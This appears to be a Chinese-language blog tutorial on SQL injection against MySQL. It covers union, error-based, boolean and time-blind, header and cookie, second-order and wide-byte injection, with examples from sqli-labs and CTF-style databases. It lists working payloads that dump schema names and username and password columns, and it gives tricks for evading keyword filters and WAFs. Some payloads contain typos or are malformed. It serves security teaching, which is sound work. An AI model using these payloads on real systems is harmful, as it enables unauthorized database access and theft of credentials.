sql注入總結
sql注入定義
就是通過把sql命令插入到web表單提交或輸入域名或頁面請求的查詢字串,最終達到欺騙伺服器執行的sql命令的目的。
sql注入分類
聯合查詢
通過執行等同於將一個表追加到另一個表的操作來組合兩個表的查詢
首先我們先來了解一下mysql的系統函式
user():當前使用者的使用者名稱 database():當前資料庫名 version():資料庫的版本 datadir:讀取資料庫的絕對路徑 @@vasedir:mysql安裝路徑 @@version_compile_os:作業系統 concat():連線一個或者多個字串 group_concat():連線一個組的所有字串,並以逗號分隔每一條資料
然後再來了解下union
UNION 用於合併兩個或多個 SELECT 語句的結果集,並消去表中任何重複行。
UNION 內部的 SELECT 語句必須擁有相同數量的列,列也必須擁有相似的資料型別。同時,每條 SELECT 語句中的列的順序必須相同.預設地,UNION 操作符選取不同的值。如果允許重複的值,請使用 UNION ALL。當 ALL 隨 UNION 一起使用時(即 UNION ALL),不消除重複行。
mysql 5.0版本以後提供了information.schema表,表中記錄了資料庫中所有的庫、表、列等資訊
理解Schema,schemata,schema_name,table_schema
SCHEMATA表:儲存mysql所有資料庫的基本資訊,包括資料庫名,編碼型別路徑等,show databases的結果取之此表。(其中包含一列schema_name,即資料庫名,不同於schema,schema_name只是單純的資料庫名)
TABLES表:儲存mysql中的表資訊,(當然也有資料庫名這一列,這樣才能找到哪個資料庫有哪些表)包括這個表是基本表還是系統表,資料庫的引擎是什麼,表有多少行,建立時間,最後更新時間等。show tables from schemaname的結果取之此表(其中包含table_schema,表中的對應的庫名資訊,table_name
COLUMNS表:提供了表中的列資訊,(當然也有資料庫名和表名稱這兩列)詳細表述了某張表的所有列以及每個列的資訊,包括該列是那個表中的第幾列,列的資料型別,列的編碼型別,列的許可權,註釋等。是show columns from schemaname.tablename的結果取之此表(其中包含table_schema,表中對應的庫名資訊,table_nama表字段對應的表名,columns_name欄位對應的欄位名)
找到注入點後,我們用order by語句查詢當前資料庫中的資料表有幾個欄位
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片儲存下來直接上傳(img-PhR6o9SF-1580553141561)(http://class184.cn/wp-content/uploads/2020/01/1-1.png)]
[外鏈圖片轉存失敗,建議將圖片儲存下來直接上傳(img-wife2xXF-1580553141563)(http://class184.cn/wp-content/uploads/2020/01/2-1.png)]
order by 3 返回正常
order by 4返回錯誤
從這裡可以看出一共有三個欄位,然後用 -1’ union select 1,2,3 %23爆出可以回顯敏感資訊的位置
[外鏈圖片轉存失敗,建議將圖片儲存下來直接上傳(img-tVFxRriQ-1580553141564)(http://class184.cn/wp-content/uploads/2020/01/3-1.png)]
下面我們就要查詢敏感資訊了,就要用到上面所說的系統函數了。
and 1=2 union select 1,version(),database() --可以爆出當前使用的版本和資料庫名
and 1=2 union select 1,schema_name from information_schema.schemata limit 1,1 --爆出資料庫名,依次使用limit2,1往下爆庫名,
and 1=2 union select 1,group_concat(schema_name) from information_schema.schemata%23 --也可以使用group_concat函式全部爆出來
我們假設其中有一個庫的名字叫flag
and 1=2 union select 1,group_concat(table_name) from information_schema.tables where schema_name=’flag’ --爆出flag庫下的所有的表,假設其中有flagtable表
and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name =’flagtale’ --爆出flagtable下的所有欄位,假設有name和password欄位
and 1=2 union select 1,group_concat(name,password) from flag.flagtable --爆出flag下的flagtable表的name和password的內容
基於錯誤回顯
基於錯誤回顯的sql注入就是通過sql語句的矛盾性來使資料被回顯到頁面上
所用到的函式
count() 統計元祖的個數(相當於求和),如select count(*) from information_schema.tables;
rand()用於產生一個0~1的隨機數,如select rand();
floor()向下取整,如select floor(rand()*2);
group by 依據我們想要的規矩對結果進行分組,如select table_name,table_schema from information_schema.tables group by table_name;
group_concat將符合條件的同一列中的不同行資料拼接,如select group_concat(0x3a,0x3a,database(),0x3a);0x3a是十六進位制的分號
又因頭太長,為了美觀,可以起一個別名,select group_concat(0x3a,0x3a)name;
我們先將上面的整合下,
**select count(*),concat(0x3a,floor(rand()*2))name from information_schema.tables group by name;**先生成隨機數,並取證,然後用分號將不同的資料拼接,並取別名name,最後將結果以name進行分組並進行統計,能看到統計出的兩個不同的取值,0和1。
再進行多次重複,看一下關於rand()函式與group by 在mysql中的錯誤報告,我們就是要利用group by part of rand() returns duplicate key error這個bug。
RAND() in a WHERE clause is re-evaluated every time the WHERE is executed.You cannot use a column with RAND() values in an ORDER BY clause,because ORDER BY would evaluate the column multiple times.
--這個bug會爆出duplicate key這個錯誤,然後順便就把資料也給爆了
公式:username=admin' and (select 1 from (select count(*),concat(floor(rand(0)*2),0x23,(你想獲取的資料的sql語句))x from information_schema.tables group by x )a) and '1' = '1
and (select 1 from (select count(*),concat(floor(rand()*2),( select group_concat(schema_name) from information_schema.schemata ) )name from information_schema.tables group by name)a) --爆出所有庫名,同上面一樣,假設有falg庫
and (select 1 from (select count(*),( select group_concat(table_name) from information_schema.tables where table_schema=’flag’ ) )name from information_schema.tables group by name)a) --爆出flag下的所有表,假設有flagtable表
and (select 1 from (select count(*),( select group_concat(column_name) from information_schema.columns where talbe_name =’flagtable’ ) )name from information_schema.tables group by name)a) --爆出flagtable表的所有欄位,假設有name和password
and (select 1 from (select count(*),( select group_concat(name,password) from flag.flagtable ) )name from information_schema.tables group by name)a) --爆出name和password欄位的內容
sql盲注
基於布林型的sql盲注
返回的介面只有兩種情況,即TRUE和FALSE,這樣說並不是很準確,因為SQL查詢無非就這兩種情況,應該說是盲注的時候你只能得到一個正常的頁面或者是什麼頁面的不存在,甚至你在查詢表的記錄過程也不會有顯示。
首先了解幾個函式
length():返回字串的長度
substr():擷取字串
ascii():返回字元的ascii碼
count():統計元祖的個數(相當於求和)如 :select count(*) from information_schema.tables;
利用方法:
爆資料庫的路徑and ascii(substr(@@datadir,1,1))>69 --然後使用二分法一步一步確定。
爆所有的資料庫名
and ascii(substr((select schema_name from information_schema.schemata limit 2,1),1))>101 --limit函式爆出的是第二個資料庫的第一個字元,同上,假設其中一個庫名為flag
爆資料庫表名
and (ascii(substr((select table_name from information_schema.tables where table_schema=’flag’ limit 0,1)))>100 --假設其中一個表名為flagtable
爆出資料庫的列名
and (ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’ limit 0,1)))>100 --假設其中列名為name和password
爆出列裡的資料內容and ascii(substr((select group_concat(name,password) from flag.flagtable limit 0,1))>48
這樣我們就一步一步的爆出資料庫的資訊了
基於時間的盲注
web頁面的返回值只有一種,true,無論輸入任何值,它的返回都會按正確的來處理。加入特定的時間函式,通過檢視是web頁面返回的時間差來判斷注入的語句是否正確
sleep()函式
執行將程式(程序)掛起一段時間
if(expr1,ecpr2,expr3)判斷語句
爆庫名
and if(ascii(substr((select schema_name from information_schema.schemata limit 1,1))>100,sleep(3)) --使用二分法,一步一步爆出資料庫名,假設其中有一資料庫名為flag
爆表名
and if(ascii(substr((select table_name from information_schema.tables where table_schema=’flag’ limit 1,1))>101,sleep(3)) --假設有一表名為flagtable
爆列名
and if(ascii(substr((select column_name from information_schema.columns where table_name=’flagtable’ limit 1,sleep(3)) --假設爆出列名為name和password
爆表中的內容
and if(ascii(substr((select group_concat(name,1))>48,sleep(3))
基於user-agent的注入
使用者代理(user agent)是記錄軟體程式的客戶端資訊的HTTP頭欄位,他可以用來統計目標和違規協議。在HTTP頭中應該包含它,這個欄位的第一個空格前面是軟體的產品名稱,後面有一個可選的斜槓和版本號。
並不是所有的應用程式都會被獲取到user-agent資訊,但是有些應用程式利用它儲存一些資訊(如:購物車)。
HTTP查詢例項:
GET /index.php HTTP/1.1
Host: [host]
User-Agent: aaa’ or 1/*
然後將包傳送到Repeater
在user-Agent修改為’and extractvalue(1,concat(0x7e,(select @@version),0x7e)) and ‘1’='1
[外鏈圖片轉存失敗,建議將圖片儲存下來直接上傳(img-Yi1OcRJR-1580553141572)(http://class184.cn/wp-content/uploads/2020/01/5.png)]
基於頭部Referer注入
http referer是header的一部分,當瀏覽器向web伺服器傳送請求的時候,一般會帶上referer,告訴伺服器我是從哪個頁面連結過來的,伺服器以此可以獲得一些資訊用於處理
以下測試基於sqli-labs第十九關的測試結果
[外鏈圖片轉存失敗,建議將圖片儲存下來直接上傳(img-BM7lIvSC-1580553141587)(http://class184.cn/wp-content/uploads/2020/01/6.png)]
基於cookie的注入
cookie(儲存在使用者本地終端上的資料)有伺服器生成,發給user-agent(一般是瀏覽器),瀏覽器會把cookie的key/value儲存到某個目錄下的文字檔案內,下次請求同一網站時就會發送還cookie給伺服器(前提是瀏覽器設定為啟用cookie)。cookie名稱和值可以有伺服器端開發自己定義,對於jsp而言也可以直接寫入jessionid,這樣伺服器可以知道該使用者是否合法使用者以及是否需要重新登入等,伺服器keyhi設定或讀取cookie中包含資訊,藉此維護使用者跟伺服器會話中的狀態。
sql-libs 20:
我們修改 cookie 為 uname=admin1’and extractvalue(1,(select @@basedir),0x7e))#
[外鏈圖片轉存失敗,建議將圖片儲存下來直接上傳(img-YUj8RSLL-1580553141594)(http://class184.cn/wp-content/uploads/2020/01/8.png)]
可以看到報錯了,我們得到了 mysql 的路徑
補充
1. 過濾關鍵字元
and ——&&
or —— ||
空格被過濾
可以使用”%09 %0A %0C %0D %0B”替代,也可以用or和and語句來構造到達閉合語句的效果。
union select 過濾
使用大小寫繞過,如UNion,SElect
多次重複,如ununionion,selselectect
在union select 聯合使用被過濾的情況,union all select
2. WAF應用防護系統
php get 獲取引數時有一個特性,當某個引數被多次賦值時會保留最後一次被賦值時的值。如id=1&id=&2&id=3這時,程式會返回id=3的值,但WAF只對第一次的id進行測試,如果傳入多個id,那麼後面的id則存在注入漏洞
輸入id=1&id=&2&id=3‘就會出現報錯
1. 二次注入
注入過程分為兩個部分,語句插入和語句執行。常規的注入中都是將sql語句插入後即可顯示效果,出錯或者得出注入結果,而二次注入的第一步不會產生任何反應,因為它只是一個語句的插入,並沒有執行,在第二步執行時才能執行第一步插入的語句並顯示結果。而這兩個點可能不在同一位置。
[外鏈圖片轉存失敗,建議將圖片儲存下來直接上傳(img-GpeWq9XW-1580553141597)(http://class184.cn/wp-content/uploads/2020/01/7.png)]
此時修改密碼,單引號閉合語句,井號註釋後面的語句,修改的就不是admin’#的密碼了,而是admin的密碼。
2. 寬位元組注入
GB2312,GBK,GB18030,BIG5,SHIFT_JIS 等這些都是常說的寬位元組(兩個位元組),ascii就是單位元組(一個位元組)
GBK編碼,他的範圍是0x84100xFEFE(不包括xx7F)ascii編碼,他的編碼範圍是ascii(0)ascii(127),另外有一個擴充套件ascii列印字元,他的範圍是ascii(128)~ascii(255)
3. addslashes()函式
在每個字元前新增反斜槓:\
my_sql_real_escape_string()
**my_sql_real_escape_string()**函式轉義sql語句中使用的字串中的特殊符:\x00,\n,\r,\,’,",、x1a
id=1,我們在後面家單引號,雙引號都返回正常,因為被新增反斜槓或轉義了,此時我們可以在測試字元前加%bf
id=1%bf’就會報錯了
參考文章: https://www.cnblogs.com/JetpropelledSnake/p/9017949.html#top